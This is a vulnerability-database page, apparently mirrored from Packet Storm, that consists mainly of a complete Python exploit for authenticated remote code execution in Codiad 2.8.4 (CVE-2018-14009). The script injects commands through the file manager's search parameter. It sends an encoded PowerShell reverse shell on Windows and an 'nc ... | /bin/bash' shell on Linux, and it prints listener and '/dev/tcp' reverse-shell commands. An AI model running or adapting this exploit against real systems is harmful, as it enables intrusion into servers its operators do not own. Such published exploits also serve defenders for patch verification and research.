Lucene search
K

Codiad 2.8.4 Remote Code Execution

🗓️ 24 Mar 2021 00:00:00Reported by WangYihangType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 648 Views

Codiad 2.8.4 Remote Code Execution, authenticated vulnerability, allows attackers to execute arbitrary cod

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Codiad 2.8.4 - Remote Code Execution (Authenticated) Exploit
23 Mar 202100:00
zdt
Circl
CVE-2018-14009
23 Mar 202100:00
circl
Check Point Advisories
Codiad Remote Code Execution (CVE-2018-14009; CVE-2017-11366; CVE-2017-15689)
5 Apr 202100:00
checkpoint_advisories
CVE
CVE-2018-14009
12 Jul 201816:00
cve
Cvelist
CVE-2018-14009
12 Jul 201816:00
cvelist
Exploit DB
Codiad 2.8.4 - Remote Code Execution (Authenticated)
23 Mar 202100:00
exploitdb
Github Security Blog
Codiad remote code execution vulnerability
13 May 202201:11
github
NVD
CVE-2018-14009
12 Jul 201816:29
nvd
OSV
GHSA-584H-JHXH-PXP2 Codiad remote code execution vulnerability
13 May 202201:11
osv
Prion
Remote code execution
12 Jul 201816:29
prion
Rows per page
`# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated)  
# Discovery by: WangYihang  
# Vendor Homepage: http://codiad.com/  
# Software Links : https://github.com/Codiad/Codiad/releases  
# Tested Version: Version: 2.8.4  
# CVE: CVE-2018-14009  
  
  
#!/usr/bin/env python  
# encoding: utf-8  
import requests  
import sys  
import json  
import base64  
session = requests.Session()  
def login(domain, username, password):  
global session  
url = domain + "/components/user/controller.php?action=authenticate"  
data = {  
"username": username,  
"password": password,  
"theme": "default",  
"language": "en"  
}  
response = session.post(url, data=data, verify=False)  
content = response.text  
print("[+] Login Content : %s" % (content))  
if 'status":"success"' in content:  
return True  
def get_write_able_path(domain):  
global session  
url = domain + "/components/project/controller.php?action=get_current"  
response = session.get(url, verify=False)  
content = response.text  
print("[+] Path Content : %s" % (content))  
json_obj = json.loads(content)  
if json_obj['status'] == "success":  
return json_obj['data']['path']  
else:  
return False  
def base64_encode_2_bytes(host, port):  
payload = '''  
$client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);  
$stream = $client.GetStream();  
[byte[]]$bytes = 0..255|%{0};  
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){  
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);  
$sendback = (iex $data 2>&1 | Out-String );  
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";  
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);  
$stream.Write($sendbyte,0,$sendbyte.Length);  
$stream.Flush();  
}  
$client.Close();  
'''  
result = ""  
for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):  
result += i + "\x00"  
return base64.b64encode(result.encode()).decode().replace("\n", "")  
def build_powershell_payload(host, port):  
preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "  
return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")  
def exploit(domain, username, password, host, port, path, platform):  
global session  
url = domain + \  
"components/filemanager/controller.php?type=1&action=search&path=%s" % (  
path)  
if platform.lower().startswith("win"):  
# new version escapeshellarg  
# escapeshellarg on windows will quote the arg with ""  
# so we need to try twice  
payload = '||%s||' % (build_powershell_payload(host, port))  
payload = "search_string=Hacker&search_file_type=" + payload  
headers = {  
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}  
response = session.post(url, data=payload, headers=headers, verify=False)  
content = response.text  
print(content)  
# old version escapeshellarg  
payload = '%%22||%s||' % (build_powershell_payload(host, port))  
payload = "search_string=Hacker&search_file_type=" + payload  
headers = {  
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}  
response = session.post(url, data=payload, headers=headers, verify=False)  
content = response.text  
print(content)  
else:  
# payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''  
payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)  
payload = "search_string=Hacker&search_file_type=" + payload  
headers = {  
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}  
response = session.post(url, data=payload, headers=headers, verify=False)  
content = response.text  
print(content)  
def promote_yes(hint):  
print(hint)  
while True:  
ans = input("[Y/n] ").lower()  
if ans == 'n':  
return False  
elif ans == 'y':  
return True  
else:  
print("Incorrect input")  
def main():  
if len(sys.argv) != 7:  
print("Usage : ")  
print(" python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))  
print(" python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0]))  
print("Example : ")  
print(" python %s http://localhost/ admin admin 8.8.8.8 8888 linux" % (sys.argv[0]))  
print(" python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows" % (sys.argv[0]))  
print("Author : ")  
print(" WangYihang <[email protected]>")  
exit(1)  
domain = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
host = sys.argv[4]  
port = int(sys.argv[5])  
platform = sys.argv[6]  
if platform.lower().startswith("win"):  
print("[+] Please execute the following command on your vps: ")  
print("nc -lnvp %d" % (port))  
if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):  
exit(1)  
else:  
print("[+] Please execute the following command on your vps: ")  
print("echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d" % (host, port + 1, port))  
print("nc -lnvp %d" % (port + 1))  
if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):  
exit(1)  
print("[+] Starting...")  
if not login(domain, username, password):  
print("[-] Login failed! Please check your username and password.")  
exit(2)  
print("[+] Login success!")  
print("[+] Getting writeable path...")  
path = get_write_able_path(domain)  
if path == False:  
print("[+] Get current path error!")  
exit(3)  
print("[+] Writeable Path : %s" % (path))  
print("[+] Sending payload...")  
exploit(domain, username, password, host, port, path, platform)  
print("[+] Exploit finished!")  
print("[+] Enjoy your reverse shell!")  
if __name__ == "__main__":  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation